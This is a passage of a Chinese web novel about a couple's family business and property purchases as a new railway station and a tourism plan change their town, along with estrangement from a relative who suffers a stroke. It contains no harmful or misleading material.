赵如月抽空飞快瞥了一眼新火车站那边,有些高兴地说:“从火车站到镇上,只有大概二十分钟的车程了,比以前的火车站近了不少,以后我们要是有空,可以坐火车出去玩,到火车站的速度更快了。” “是啊,不过也不知道规划新站的人怎么想的,新火车站到我们镇上的距离,看起来跟新火车站到城区的距离差不多,但实际上从这边去镇上,比去离城区也稍微更近一些,明明去我们镇上的人也不多。” 宁绍明之所以会这么说,是因为现在新站所在的地方,并不是唯一一个适合建新站的地方。 有个地方离城区更近,而且地方挺大的,也不需要迁走民居。 在那边建的话,很明显更方便那些先坐车到县城,再从县城转火车的人出行。 他们镇上,除了过年那段时间用到火车的人多一些,平时真的很少用到。 但不管什么时候,镇上用到火车的人都没法跟县城的比。 毕竟县城另一头也有镇子和村子,那一头的人以后就需要穿过整个县城,才能到达火车站,跟以前相比更不方便了。 他这么一说,赵如月也觉得奇怪了。 后面从新火车站到镇上这一段路,不如从城区出来的那一段那么好,赵如月需要认真看路,避开路上的坑和路中间的势头。 车子的速度也不敢开那么快。 但是他们回到家的花费的时间,只比从城区到新站花费的时间多一点点。 这意味着,后续这一段路,如果也能修得跟从城区出来的那段路一样好的话,从新火车站到镇上,开车快一点,需要花费的时间可能不到二十分钟。 两个人很无聊地把这个讨论不出结果的话题,讨论了一路,然后一到家,就把这个想不明白的问题先抛到一边去了。 他们回到家,两个孩子已经洗好澡。 家里添了一辆新车,两个孩子都感觉很新奇,围着车子看个不停,以前他们也不是没见过,但看别人家的,跟自己家的总是感觉不一样的。 自己家的车,他们想坐上去玩玩,就可以让爸爸妈妈把自己抱上去,骑着车带他们出去溜一圈又回来。 溜一圈不过瘾,还能让爸爸妈妈轮流带着溜。 赵如月先开车带他们,在家附近不远不近地溜一圈,回来时热水器也把水烧好了。 她去洗澡的时候,宁绍明又带着出去溜一圈,等他回来,赵如月也洗好了澡,正好轮到宁绍明去洗。 以往他们一家四口晚上回来洗澡,烧一次水不够用,还得排队等着热水器烧好水再洗,今天倒是不用等了。 在网上买的东西,过了五六天才到县城。 赵如月接到邮政的电话,骑着车去取包裹。 巧的是,她在不同店铺买的东西,竟然都在这一天寄到了县城邮局,就让她买的东西多得很显眼。 邮局的工作人员看到她都忍不住说:“你怎么有那么多包裹?还是不通地方寄来的,这是天南海北都有朋友啊?” 工作人员倒不是抱怨她包裹多,只是比较好奇。 赵如月正不知道该怎么跟他们这里提,快递代存的事。 这会儿被问到,她刚好顺势提一下,看能不能成:“这些东西不是朋友给我寄的,是我在网上买的。” “网上买的?”工作人员不太理解,“怎么买?” 现在网络购物这件事,对于他们这里的很多人来说,还是个完全没听过的东西。 赵如月给这个工作人员形容了一下,那个工作人员听完还是不太懂。 不过这不影响赵如月提快递代存的事,其实这个事在她与邮局之间,难点只在于,邮局这边愿不愿意每天帮忙把包裹送到她店里。 如果不愿意的话,她想做这买卖,可能就要多一个来邮局帮客人取包裹的步骤。 这个工作人员倒是听懂了,只是她也没办法做决定:“我只能帮你上报一下,到时候看我们领导怎么说,不行的话,那我也没办法。” 赵如月也表示理解,毕竟是公家单位,很多事情不是一拍脑门就能决定的:“好的,我能理解,你能帮我问一下就很感谢了。” 带着包裹回去后,家里两个孩子小小年纪就感受到了拆快递的快乐,宁绍明拿到新的烘焙材料和工具,又钻进厨房琢磨新品。 家里三个人都有东西玩,赵如月倒是暂时闲了下来,看家里也没事做,又不想看电视、不想玩电脑,就往前面餐饮店走。 店里刚好没客人,赵如月看宁时春和孙佳佳也有空,就洗了一盘桃子招呼他们过来吃。 正打算也趁这个时候,问问宁时春想不想去县城开店。 他如果想去的话,就不用等到下半年,再找店铺,现在就可以准备起来了。 如果只是担心没钱,她和宁绍明可以借给他。 赵如月刚开口,话还没说半句,有个人走进来了,她只好先止住话题,看向进来的人:“郑军胜?难得能在镇上看到你,想吃点什么?” 这个也是她和宁绍明的同龄人,不过人家是干部子女,只在镇上读了几年小学,就转到了县城,只在放寒暑假的时候回镇上,跟他们玩得比较少。 赵如月只隐约听说,郑军胜前些钱辞去公职下海创业,后来就没怎么听到他的消息。 以前郑军胜的家境就很好,现在更好了,可能放在外面不算什么,但在镇上确实是数一数二的。 “我不是来吃东西的,有点事想找你们谈谈,”郑军胜脸上带着客气的笑,视线在店里扫了一圈,“你老公不在啊?” 赵如月想不到他有什么事跟自家谈,多少年了,这人跟自己和宁绍明的来往的次数,几年加起来,可能还没韦安民一年多,能有什么事要谈? 但好歹认识,互相也没矛盾,该给的面子还是要给点:“他在后面厨房捣鼓东西,我帮你叫他去。” 宁绍明听到是郑军胜来找他们,也觉得有点奇怪。 他洗了手擦了擦汗,跟赵如月一起走出来。 见到郑军胜互相客气了几句,郑军胜很快就进入正题:“你们家老宅的院子,不知道有没有出售的意向?” “你要买那个院子?为什么?”自己愿意花钱把那院子买回来,是因为那是他家老宅,对他来说有些意义。 当然这只是原因之一。 再有一个,就是老二跟他爸闹翻了,如果这房子没了,他爸不可能带着他妈去老二那里,老大蹲大牢了,三个儿子只剩他这个儿子在,也不好让老人去跟大嫂住一起。 还有一个让宁绍明难以启齿的原因,这个原因说出去,别人可能会觉得他太记仇、不孝顺。 那就是他不想跟父母一起住,尤其是他妈,所以想让父母继续住在那里。 现在距离他镇上这房子刚建成还没搬家那时候,没过去多少年,宁绍明还记得,那时候她妈因为一点矛盾,故意把家里吃的全藏起来,还提前赶他们走的事。 再加上他妈以前对宁老二的偏心,现在他一想起来心里还是会不舒服。 说他自私也好,反正他就是觉得,现在自己一家四口的日子很好,别人再插进来,会打破自家美好和谐的生活现状,这是他不愿意见到的事。 可郑军胜买这院子来有什么用呢? 宁绍明听说郑军胜在县城、市里甚至省城都有房子,为什么还要回镇上买个院子? “不好意思,”宁绍明没有一点委婉地、很直白地拒绝了,“那院子我不打算卖。” 郑军胜微微皱眉:“别这么早做决定嘛,先听听我能给的条件怎么样?” 他说的是问句,却没有给宁绍明回答的空隙,就直接继续说了下去:“我这里有两种方式,第一种是直接卖,我听说你们买回那院子,花了两万块钱,我愿意出四万买下来。 不过我也知道,你们家现在生意做得很红火,应该不差钱,那可以试试第二种方式:一房换一房。” 第二种方式宁绍明和赵如月都没太懂,两人对视一眼,问郑军胜:“一房换一房,怎么个换法?” 郑军胜说:“我在县城建了个步梯住宅楼盘,这事你们应该也听说过,你们要是愿意换,可以去那里选一套八十平以内包含八十平的房子。” “县城的商品房,就算是步梯,四五万可也是拿不下来的。” 赵如月惊讶地微微睁大了眼睛,现在县城的八十平步梯房,是没有公摊的,说八十平到手的就是八十平,第一种方式跟第二种很明显不对等。 而且不管是第一种还是第二种,对郑军胜来说,看起来都是亏本买卖,他一个生意人,会做亏本买卖? 肯定所图更大! 郑军胜满不在意地说:“我们明人不说暗话,既然你们提到了,我也就跟你们直说,别人去买房子的时候,四五万当然拿不下,但我们建房的成本没那么高。” 这种相当于天上掉馅饼的好事,宁绍明偏偏敬谢不敏:“虽然你给的条件确实很优越,但我的答案还是不会变,那个房子我真不卖。” 他也不说为什么,这种时候说各种原因、各种理由,别人都能找到劝他卖的切入点,还不如什么理由都不说,直接坚定地表明自己的态度。 郑军胜感觉有些遗憾,但也没强求,只是在离开前说道:“如果改变了决定,可以再找我,条件不变。” 这时候,赵如月和宁绍明还没把这件事跟新火车站联系起来。 郑军胜走后,他们陆续听到不少关于他的消息,在这几天之内,他们听到的关于他的消息,比往常几年还要多。 郑军胜和他家的几个亲戚,在镇上找了不少人问房子的事。 有些手头有多余宅基地的人、还有跟韦安民一样,想把孩子送到县城读书的人、没有房子但就是向往当城里人,想把户口迁到城里的人,以及那些不管不顾,只想卖房还钱花的败家子。 要么把房子卖给了郑军胜或者他家亲戚,要么跟他换了县城的房子。 原本郑军胜的亲戚也去问了王海燕要不要卖,王海燕听着还感觉挺心动。 以前被宁绍贤指着鼻子骂过村里人、乡巴佬,被他瞧不起,王海燕也很想搬到县城去,混个城里户口当城里人。 可家里的院子只写了宁绍贤的名字,她没法卖,跑去问宁绍贤,又被宁绍贤骂了,说要是把老宅卖掉,以后他们死了到地底下,怎么有脸去见祖宗? 最后这事只能作罢。 王海燕没当成城里人,只是成天在家唉声叹气。 但成功当了城里人的宁绍德听到‘一房换一房’的这个消息后,气得在单位宿舍里捶胸顿足,懊悔不已。 叶菁也是,一想到这事,心里就难受得不行:“虽然那只是步梯房,但一房换一房相当于是一分没花,也不用背贷款了,我们手上的钱不管是再买一套收租,还是贷款买辆车都不错。” 她不禁开始畅想那样美妙的日子。 但叶菁没注意到,自己那些话让宁绍德越想越难受,在大悲大怒的剧烈情绪波动之下,他突然感觉气血上涌、头晕想吐、呼吸困难。 没等叶菁畅想完,宁绍德突然往地上倒,中途撞到了叶菁的肩膀。 叶菁回过神,赶紧扶了他一把,嘴上抱怨道:“你怎么回事,这么大个人了,连好好坐着都不会?” 等把人扶正,叶菁才注意到宁绍德脸色青紫发黑,嘴唇发绀,整个人看起来很不对劲。 叶菁瞬间慌了神,用力摇晃着他的身体大喊:“绍德!绍德!你这是怎么了?快醒醒!你别吓我啊!” 第128章 赵如月在店里忙活的时候,放在旁边的小灵通响了。 她看了一眼,来电显示是叶菁,直接把电话按掉没接,然后把叶菁拉进了黑名单。 中午到餐饮店跟宁绍明吃饭的时候,听宁绍明说起,上午叶菁给他打了个电话,他也没接。 赵如月才知道,叶菁也给他打了电话,看来是有要紧事。 “是不是他们听说了,郑军胜在镇上搞的‘一房换一房’的事,见有利可图,想胡搅蛮缠?” 宁绍明猜的跟赵如月一样,所以才没接叶菁的电话:“我把她和宁绍德的电话号码都拉进黑名单了。” “我也是。” “我们俩可真有默契。” 直到下午他们回镇上接两个孩子放学,听宁时春说起才知道,叶菁也给店里和老宅那边打了电话。 宁时春太老实,接了那通电话,叶菁说的却不是镇上‘一房换一房’那件事,而是宁老二生病了,跟黄秀华一样的病,现在正在县城的医院里住院。 “二婶说,丹洁还小也需要人照顾,这大的小的都需要人照顾,她那边忙不过来,想问问我这边有没有人有空,去个人帮帮忙。”宁时春以为叶菁问他这边的人,指的只有他家的人。 于是他依旧特别实诚地回答:“我跟二婶说镇上生意忙,我又要干活又要带店里刚招来的新厨子,抽不出空去,而且我没提前请假,也不能随便旷工。 我家里其他人也都忙,丹萍要上学,我妈下地干活了,我妈在地里干活的时候,我根本联系不上,爷爷还要照顾奶奶,没人有空去。 要是我奶奶没病成现在这样,倒是有可能什么都不管了,直接跑去照顾二叔。” 赵如月没忍住笑了,叶菁直接被老实人戳了心窝子,这算不算是聪明反被聪明误?。 跟老实人耍心眼,结果人家根本没听出来她话里暗示的意思,叶菁听了那些话,可能还会以为,宁时春是在嘲讽她和宁绍德,最后那句话。 叶菁其实就是想通过宁时春暗示他们,让他们主动发挥一下兄弟姐妹的互帮互助作用,去探望、去帮忙吗,出钱出力。 可这时候叶菁才正眼看这边的亲戚,才知道这边的亲戚们也有利用价值没用了,人已经全得都被她和宁绍德得罪完了。 他们夫妻俩现在需要人帮助,倒是知道找这边的人了,怎么不去找她娘家人呢? “我说完她就直接挂电话了,三婶,我是不是说错了什么?”电话被挂掉之后,宁时春反复回想自己说的话,觉得自己说的都是实话,应该没有哪里说错呀。 赵如月说:“没事,不用管她。” 宁绍德生病了,不代表以前他做的事就可以一笔勾销,让所有人都不计较。 赵如月想着,他要是真死了,自己倒是愿意去给他上几支香,吃几顿白席。 为免宁时春这个小辈搞不清楚长辈们目前的关系情况,哪天着了叶菁的道。 宁绍明直接跟他说:“以后她再打电话来,你别接,要是直接来找你,你就推说你什么都不懂。 她让你给我们转话,你也别应,我跟你二叔他们家已经彻底闹掰了,以后除了家里要办老人的丧事,其他时候不会再跟他们往来。” 宁时春果然露出一副惊讶的表情,他确实不知道家里长辈的关系,已经发展到这个程度了。 宁绍明和赵如月很理解他为什么会露出那样的表情。 他奶奶生病的那段时间,不需要他去照顾,只让他在刚进医院的那天去了一次,还有住院期间去探望了两三次。 以往他在镇上看到别人家,兄弟姐妹之间闹矛盾后,哪怕背地里骂骂咧咧,见面还是会装着没事的样子,照样往来维持着表面和谐,就像当初他们家还没分家时那样,那种情况,宁时春以前在家没少见到过。 但宁绍明一说,他就明白了,也没问为什么,长辈怎么说,他就怎么做。 “三叔,我记住了,以后我也会远着他们些。”宁时春只是老实不是傻子,该站在哪一边,他还是拎得清的,根本不用多想。 毕竟二叔二婶一向很看不起他家人,他跟二叔也没多少感情,不像三叔,在他小时候经常带着他玩。 “对了,”宁绍明又提醒了一句,“跟你妈说一声,别让你爷爷知道这事。” 宁绍明知道,别看他爸现在也对宁绍德做的事很气愤,但那毕竟他亲生儿子,等时间久了,宁绍德要是病得看起来凄凄惨惨的,老人难免会想起自己孩子的曾经好来,又心软。 他妈现在这样,得时时有人看着,他爸不怎么能出门了,没人特地跑去跟他说,他就不会知道这件事。 宁绍明说完就去做饭了,赵如月去接两个孩子,回来的半路上,遇到宁美婷脚步匆匆地往自己家的方向走。 赵如月就叫了她一声,宁美婷看到她,往她这边走:“在这里遇到你正好,我不用继续往你们家走了,有件事,我得跟你说一声。” 赵如月猜:“是不是二嫂给你打电话了?” “对,你怎么知道?”宁美婷问完就拍了一下自己的额头,“看我这脑子,她肯定也给你们打电话了,你们是怎么想的?去看看还是?” “绍明说不去,以后老二家的事,跟他没关系,他不管,我听他的,大姐你要去啊?” 宁美婷也是很纠结,要不她就在接到叶菁的电话之后,肯定马上就联系宁绍明了。 “我没想好。”宁美婷对宁绍德的感情也很复杂。 以前总是听她妈说,二弟以后是家里最有出息的人,让她对二弟好一点,等二弟以后闯出来,有出息了,有她二弟在,她婆家人绝对不敢轻视她、欺负她。 后来事实却不是这样,二弟读书出来后,参加了工作,端着铁饭碗,用老一辈的眼光来看,应该也算是闯出来,有出息了吧? 可她却一直没能靠上二弟一点,依然在很长一段时间里,因为帮衬娘家,而被婆家人瞧不起。 也就是从老三打工回来那年开始,三弟和三弟妹过年给了她不少东西带回婆家,给她两个孩子的压岁钱也多,让她在婆家人面前长脸,后来三弟夫妻俩生意又做得好,她在婆家才算直起腰板来了。 可当初宁美婷妈说的那些话,听了那么多年,难免收到了影响,让她形成了一种,要是不对老二好,知道老二遇上事不去帮忙,不去看一眼,心里就会忍不住产生愧疚的感觉。 宁美婷也挺了解自己,要不是之前老二对她妈太过分,现在她接到二弟妹的求助电话,没准还真会去跟二弟妹一起轮班照顾老二。 赵如月看宁美婷这么纠结,却不好发表自己的想法。 她没法给宁美婷出主意,也不能给她提建议,这事得完全看宁美婷自己想怎么做。 不管宁美婷去不去看望宁绍德,赵如月和宁绍明都不会多说什么。 毕竟大姐是大姐,宁绍德是宁绍德,大姐没做过什么不好的事,反而帮过他们。 他们也不是小孩子了,不会因为一个没对不起过他们的人跟他们不喜欢的人继续来往,就跟那个人也绝交。 宁美婷纠结了一天,最终还是决定不去了,只让人帮忙给叶菁捎了三百块钱。 结果钱捎过去没多久,就听人说,叶菁娘家那边的人说她闲话,还说叶菁嫌弃她给的钱少,是打发叫花子,给钱吝啬就算了,还不帮把手,这还是亲姐呢之类的。 同样没去看望,还一分钱不给的宁绍明几个人,叶菁的娘家人反而不敢多说他们什么,当然有可能也说了,但别人没传给她听。 但只是知道自己被人当软柿子捏,也把宁美婷气坏了。 听到闲话的第二天,宁美婷直接杀到医院,骂了叶菁一顿,喷了叶菁一脸唾沫,还硬生生把那三百块钱要回来了,同时决定以后也不再走这门亲戚。 不过她跑这一次,也让赵如月知道了宁绍德的现状。 宁绍德被人送到医院的速度比较快,没耽误抢救,所以他的情况要比黄秀华好很多。 只是说话的时候有点轻微的含糊迟钝,脑子反应变慢,有时候一件事问过了一次,过了一会儿又问。 如果没见过他以前是什么样的人,不仔细观察的话,可能看不太出来。 宁绍德生病这件事,对于赵如月一家最大的影响就是,她平时更注意家里人的身体保养了。 尤其是对宁绍明,现在她比去年年底体检结果出来的时候,还要更紧张他的身体。 黄秀华的病虽然不会遗传,但引起这个病的一些症状,比如高血压、高血脂,是会遗传的,患上的风险,也比父母没有高血压、高血脂的人概率更高。 宁绍德以前在黄秀华的偏心下,吃得脑满肠肥,他们夫妻俩都特别胖,都超重了,还以此为荣,再加上宁绍德心眼小、嫉妒心强、情绪又不是特别稳定,会引发现在的问题,赵如月完全没感觉到意外。 上辈子他也脑梗了,但并不是这个时候,而是在他五十来岁的时候。 宁绍明倒是不胖,平时情绪也比较稳定,但上辈子他太累了。 为了多赚点钱,去大排档工作,每天下午上班到凌晨。 下班的时候,刚好也差不多是早餐店开始备餐做早餐的时间了,他又在下班经过的一家早餐店做兼职,帮人家做包点。 常年日夜颠倒的作息和劳累,让他的身体熬不住了,也犯了这个病。 只是那时候他们都忙,上班时间正好错开,哪怕住在一起,每天也几乎碰不上面。 他犯病的时候,没人发现,等赵如月接到大排档老板打来的电话,询问她宁绍明怎么不去上班,赶回出租房查看的时候,人已经悄没生息地走了。 所以赵如月怕死了那样的事情再次发生,管他管得最严。 她宁愿少挣点,也让他多招几个学徒,把学徒带出来,多给人点工资,好让宁绍明轻松一点。 好在他们两个,一个愿打一个愿挨,宁绍明没觉得被管着不自在没自由,他就乐意让媳妇儿管着自己。 虽然宁绍德的情况比黄秀华好很多,但他出院后,也没法继续上课了。 因为身体条件,不允许他再进行教学工作,而且这个病发作过一次,就会有第二次、第三次…… 只是每个人体质、日常保养、作息习惯等等不一样,因为这种种条件,复发的时间间隔会有所不同。 所以宁绍德的单位,十分有人情味地,把他调到了学校后勤比较轻松的岗位。 这岗位对于不差钱,只是想有一份工作混混日子的人来说,也许是个不错的岗位。 但对于叶菁和宁绍德来说,被调到闲职无异于晴天霹雳。 不能在教学一线教书,首先课时费肯定是没有了,绩效更少了,想评更高的职称也难了。 事业约等于是停滞状态,只能在那个岗位待着养老,等退休,工资待遇完全跟以前没法比。 而他们还刚买房,都还没来得及装修。 这下还房贷的压力,全都压在了叶菁的身上。 叶菁感觉天都塌了,压力前所未有的大。 于此同时,镇上还不断传来好消息。 榕溪镇河对岸的村子附近山里,一个被村里人称为大漏斗的地方,被确认为天坑地貌。 天坑底下的风景神秘奇险,仿佛童话中的地底原始森林世界,震撼人心,尽显大自然的鬼斧神工。 市里打算将天坑开发为景区。 这事赵如月记得,上辈子也有。 但没他们榕溪镇什么事,因为上辈子县里是直接从县城修了一条路直达那个村子。 不过即使修了路,从县城到那个村子的距离也挺远的,开车需要大概一个半小时的车程。 从村子去天坑景区又要坐将近一个小时的车,县城到村子的路还行,但从村子到景区的路就不怎么样了。 这段路在山区,偶尔会有落石,山路还弯弯绕绕的,有几年下大雨,引发了泥石流,前往景区的路还被截断了,景区只能停止接客,先把路清理出来,耽误了不少事。 这辈子这件事却也不一样了,这次竟然也捎带上了他们榕溪镇。 说是要把榕溪镇打造成一个古香、古色、古朴的旅游古镇,跟对岸的天坑联动起来,增加景区的吸引力和可玩性。 他们的房子和他们这些原住民本身,以后就是古镇景点,属于景区的一部分。 村集体跟开发公司一起合作开发景区,他们这些原住民以场地入股,也就是以房子入股,以后每年都能得到分红。 他们本身配合景区,做出相应的装扮和言行,也算是一份工作,又能有一份收入,甚至可能还会给他们交社保。 至于具体的情况,还得开会商量后才能定下来。 赵如月想到火车站新址,心里暗自猜测,这些改变是不是跟火车站新址距离镇上比较近有关。 外地的游客如果坐火车来,等到镇上的那段路修好后,游客出了火车站,花不了二十分钟就能到达镇上。 到了镇上再去码头坐船,要不了十分钟就能到达对岸那村子,花的时间就少了很多。 坐船还能游览江上与两岸的风景,他们榕溪镇的这条江风景还是挺不错的。 这样一来,游客又能多一个可以玩的项目,还能继续扩展一些别的,比如钓鱼、吃现钓现宰的河鲜、坐船去上游看瀑布、去浅水区域捞鱼、撑竹筏玩等等渔家乐小项目。 说到以场地入股,很多人都反应过来,郑军胜八成早得到了这个消息,之前才会在镇上买房子、换房子,以后好多拿分红。 或者他在景区开发的项目上参了一脚,想双管齐下提高自己的话语权都有可能。 那时候把房子卖给他,或者换给他的人还以为自己占了便宜,现在也不知道有没有后悔。 反正叶菁听到这个消息差点也厥过去,她都不敢告诉宁绍德,要不然宁绍德那病估计马上要第二次复发。 但把小镇镇上这些街道开发成景点这事,听起来前景十分美好,办起来却很不容易。 参与会议的人一多,各种各样的想法和意见就少不了。 赵如月和宁绍明短短一个星期之内,接到了四次通知,让他们家派一个人去开会。 他们队的大队长一家一户地通知,嗓子都哑了,坐在他们店里喝了好几杯胖大海泡的水,缓了缓再次提醒他们:“明天上午八点半,可千万别迟到,这可是我们镇上的大事,办成了,以后我们都有好处!” “知道知道,”宁绍明又拿起茶壶,“叔,你要不再喝一杯?” “不喝了,我得继续往下一家去,还有好几家没通知到,必须保证每家每户都通知到才行。” 看着大队长走远,赵如月对宁绍明说:“这次还是你去吧,我不去了,县城邮局那边松口了,答应以后每天把写我店铺地址的包裹,全都帮忙送到我店里来,代充话费业务也申请下来了,我这几天得尽快把新招来的店员培训出来,宣传这几个新业务。” 尤其是网购代买,现在懂这个的不多,她还得印一些宣传单,让员工去对面工业区门口发一下。 三个店里也放一些,客人来就给一张,还可以请林丽丽帮忙,在她管的那家理发店和她对象的网吧发放。 代充话费业务也要弄个牌子摆在柜台,还要印几张海报,贴在门口,好让人家知道她这里也可以代充话费了。 赵如月一直忙忙碌碌到月底,拆迁款终于下来了。 他们那两百多平,三层的房子,加上院子、签合同奖励和一些七七八八的费用,加起来到手也就勉勉强强摸到了一百万的边边。 拿到钱后,赵如月和宁绍明没再理会镇上总也吵不完,迟迟吵不出个结果的各种会议。 四月三十日孩子下午一放学,直接带着他们去县城坐上了前往羊城的火车。 让闻风赶来想跟他们套关系、借钱的人扑了个空。 宁时夏第一次坐火车高兴得很,可惜遇上了假期,火车上的人很多,她没法到处走走看看,只能待在卧铺的车厢,好奇地这里摸一下,那里看一眼。 出门在外,赵如月担心有人贩子,不敢放松警惕,一直不错眼地看着她。 宁时夏发现妈妈很紧张自己后,就乖乖地爬到了上铺的位置,跟哥哥一起玩游戏机。 那是赵如月怕他们无聊,特地买的俄罗斯方块游戏机,这个游戏机比较简单,也比较便宜。 她想着,等到了羊城那边,离港城比较近,电子产品种类也很多,到时候可以给他们买更好的。 赵如月上车之前给范小蓉打了电话,但中途下了暴雨,火车停了一段时间才又重新开起来,这趟火车肯定要晚点了。 赵如月算了算到达的时间,估计是大半夜,她只好给范小蓉打电话,让她先不要来接了,晚上她一个人出门不安全。 然而这电话还是打得太早了,中途遇到两辆火车会车,又是他们这辆要暂时停下让道。 本以为是大半夜到,结果到达羊城的时候,已经是早上六点。 一出站,就看到外面站前广场上,一个个蒸腾着云雾的早餐摊子。 可惜后半程旅途的疲惫,让他们一家人都没什么胃口,赵如月给范小蓉发了个短信,就打算先找辆出租车去酒店。 赵如月的短信发出后,还没走到出租车排队拉客的地方,她的来电铃声就响了。 来电显示是范小蓉。 赵如月按下接听键,诧异地问:“小蓉,我还以为你现在还在睡着,是不是我的短信把你吵醒了?” “没有,我五点多就起床了,刚到这边停好车,就接到了你的短信,姐,你们往停车场走,我跟朋友借了车来。” 赵如月带着家人往停车场走,走到停车场门口,就看到范小蓉从车窗探出身子跟他们招手。 看到范小蓉坐在驾驶座上,赵如月震惊了:“小蓉,你学会开车了!” 她还以为范小蓉请朋友帮忙,跟她一起来接人的。 “对!我要跑业务嘛,会开车比较方便,不管是出差、还是在市内跑业务,都可以跟同事轮流开,不过我现在暂时还买不起车。” “真好,我也有点想学,但是一直犹豫。” 范小蓉强烈建议她去学:“我觉得考个驾照挺好的,也算是一项技能,以后你们要是买了车,想去哪里踩一脚油门就能出发,那种自由的感觉,哎呀,我文化不高,都不知道该怎么形容,反正就是很爽!” 赵如月看向宁绍明:“那等我们回云山县,也一起去学学?” 其实他们想买车的话,也能买得起了,只是她觉得现在买车不划算,不如先买房。 很少有男人不爱车,宁绍明也是早就对学车这件事蠢蠢欲动了,点头道:“我们回去就去报名,到时候一起去学、一起去考试。” 聊着天,酒店就到了,他们先在酒店安顿好,简单吃了点东西,洗漱过后就赶紧休息了。 劳动节期间银行和政府部门也放假,没法办手续,他们就先在羊城玩了几天。 本来八号两个孩子要上课,可谁让人家也是八号才收假开门上班,赵如月就给孩子又请了几天假。 她跟范小蓉去办手续的时候,就让宁绍明陪着他们玩。 要是从一号开始算的话,他们这个假期几乎有两个星期的时间。 其实赵如月也可以选择让孩子留在家里,暂时让宁时春和孙佳佳帮忙照顾几天。 她自己来,或者她跟宁绍明选择工作日,一起来羊城抓紧时间办好事,尽快回去就行。 但赵如月想着,自家孩子就是缺几天课,在学习上貌似也不会耽误什么,成绩更不会因此下降。 于是就带着他们任性了一回,让两个孩子玩了个尽兴。 她去给孩子请假的时候,把宁时秋的新班主任都惊呆了。 难搞的家长他遇到不少,但是为了带孩子去玩,而给孩子请假的家长,他还真是第一次遇到! 赵如月都这把年纪了,又重新享受了一把小学生待遇,被小学班主任严肃地批评了一顿。 幸好在她的坚持之下,老师还是给批了假。 第129章 赵如月定下的两套房子都是这个小区面积最大的户型。 面积六十八平,每套房子的最低首付不到十万,但赵如月没有只付最低首付,也没有选择最长年限去贷款。 付完首付后,一套房子每个月要还的贷款大概是六百多,两套加起来才一千多。 赵如月看每个月只要还这么点,很有再买两套的冲动。 她之前自己来看房、定下房子的时候,还不知道自己家能拿到多少拆迁款,她以为估摸着也就有个五六十万。 当初买那房子才多少钱,这一下子直接翻了十几倍,其实能有五六十万她也很满足了 没想到比预计的多出来那么多,倒是让赵如月觉得自己之前太过保守,买少了。 办好手续,赵如月回到酒店就跟宁绍明说起这事,他们商量了之后,果断又买了两套。 剩下的钱拿一点部分出来给房子简单装修一下,添置些基础的家具家电什么的,等装修好,晾一晾,明年再租出去。 还要借给宁时春一点钱在县城买铺面,另外他们自家还打算在县城买一套面积大一点、地段比较好的房子。 这套房子以后他们全家人就一起住着,等孩子们长大各自去奔前程后,赵如月就打算跟宁绍明一直住在这里。 现在的房子用料实在,应该可以当做他们在县城的养老房,所以就只打算买一套。 装修这事也得托给范小蓉帮忙找装修公司,偶尔有空她也会去帮忙看看进度,监督一下装修工人。 范小蓉自己装过一套房子,做起来轻车熟路,她上次找的装修公司不错,这次也打算帮赵如月找那家公司。 还跟赵如月玩笑道:“我给他们介绍四套房的生意,他们到时候肯定得返给我一笔介绍费,姐,到时候我跟你平分。” 赵如月也笑着说:“什么平分,按道理,我也得给你一笔辛苦费才对!” 装修的钱,她提前给了订金和前期百分之二十的装修款 回云山县的前一天,范小蓉邀请赵如月一家去她家吃饭。 到了地方,赵如月打量了一下范小蓉的房子,觉得她这房子看起来也挺大:“没想到三十几平的房子,装修好之后,看起来也没那么小。” 范小蓉笑道:“忘记告诉你了,这房子不是三十几平,是四十几平的,我当初看好的是另一套,可临要给钱时,我又改变了主意,刚好手头上的钱也够,就买了大一点的,能做一大一小两个房间。 大的那个房间是卧室,小的那个是我下班回家加班办公和学习的地方。 知道姐你读夜校后,我一直想着提升自己,就也报名了羊城这边的一个夜校,学的英语。 我们厂子打算做外贸生意,等我学好了,以后挣老外的钱,工资更高!” “那可太好了!”赵如月很为范小蓉的进步而开心,正要继续说些什么,门口忽然有人敲门。 范小蓉走过去通过猫眼往外看,来敲门的是她的一个关系比较好的同事,她就把门打开了。 她那同事站在门口,一脸焦急地问:“小蓉,你有水电师傅的电话吗?我厨房洗碗池下面的水管爆了,现在正在往外喷水。” 范小蓉惊了:“你出来的时候关总阀了吗?” “什么总阀?我不知道呀,我那房子装修全程是我爸妈忙活,这些以前都是他们管。” 范小蓉无奈:“看来你是真没关水阀。” 赵如月听到动静,走出来说:“得赶紧过去先把总水阀给关掉,要不水漏得太多把地板泡了还会往楼下渗,一般厨房可不会做防水,你家要是有工具的话,我倒是可以帮忙修一下。” 范小蓉竖着大拇指说:“我姐修理东西可是这个!今天刚好遇上我姐在,你可太走运了!” 那同事忙道:“太好了!我家里倒是有一些我爸留下的工具,只是不知道合不合适。” 她赶紧跑回家找总水阀在哪里。 赵如月几个人也跟着过去了。 到了地方,赵如月发现范小蓉这个同事家的格局,跟自己买的那几套房子一样。 那个姑娘还在屋里慌得团团转,赵如月已经找到总水阀的位置。 但没有马上把水阀关上,而是先去厨房看了一眼漏水点,发现是洗菜盆下面的入水管坏了。 才出来把水阀拧紧:“水管爆裂的地方修起来不难,你家要是有合适的管,我可以直接帮你换,没有的话就去五金店买一根。” 赵如月教苏胜楠都养成习惯了,修理东西的时候,顺嘴就开始讲解,告诉她以后遇到类似的情况该怎么处理。 关了水阀,厨房里滋水的水管终于消停了。 范小蓉那同事狠狠地松了一口气,对赵如月道谢:“谢谢,我记住了,今天幸亏有你们帮忙,要不我都不知道该怎么办。” 赵如月:“你现在得抓紧时间处理好厨房里的水,拖地应该会吧?” “会的会的,这个我真会。”她又赶紧去拿拖把,跑到一半想起来自己还没给人把工具拿出来,又跑去拿工具,回来就跟着范小蓉一起管赵如月叫姐,“姐,你看这些行吗?” 赵如月看了看,该有的都有,点点头说:“可以。” “那工具给你,我拿拖把收拾地面,等会儿再去买水管,我家里没有那样的管子。” 范小蓉提醒了一声:“还有不常用的水桶,也找一个出来,厨房没有地漏,要用水桶来装拖把吸的水,再拿去卫生间倒。” 她说完也去找了一块吸水性比较好的抹布,跟同事一起吸地上的水。 跟过来的宁绍明和两个孩子也蹲下身帮忙,没有抹布就等她们把大部分水吸走,他们再用纸巾擦。 赵如月用扳手把水龙头直接拆下来,然后把漏水的入水管拧下来,又检查了一下热水出水管,发现热水出水管也有一点问题。 对范小蓉的同事说:“你等会儿直接买一对这样的水管回来吧,另一根也不成了,现在看起来没问题,估计过段时间也要漏。” 范小蓉的同事忙应道:“好的好的。” 看地面拖得差不多了,急忙拿着钱包,直奔五金店买水管,她怕买错把坏掉的管也一起带下去了。 东西买回来后,她和范小蓉一起看赵如月换。 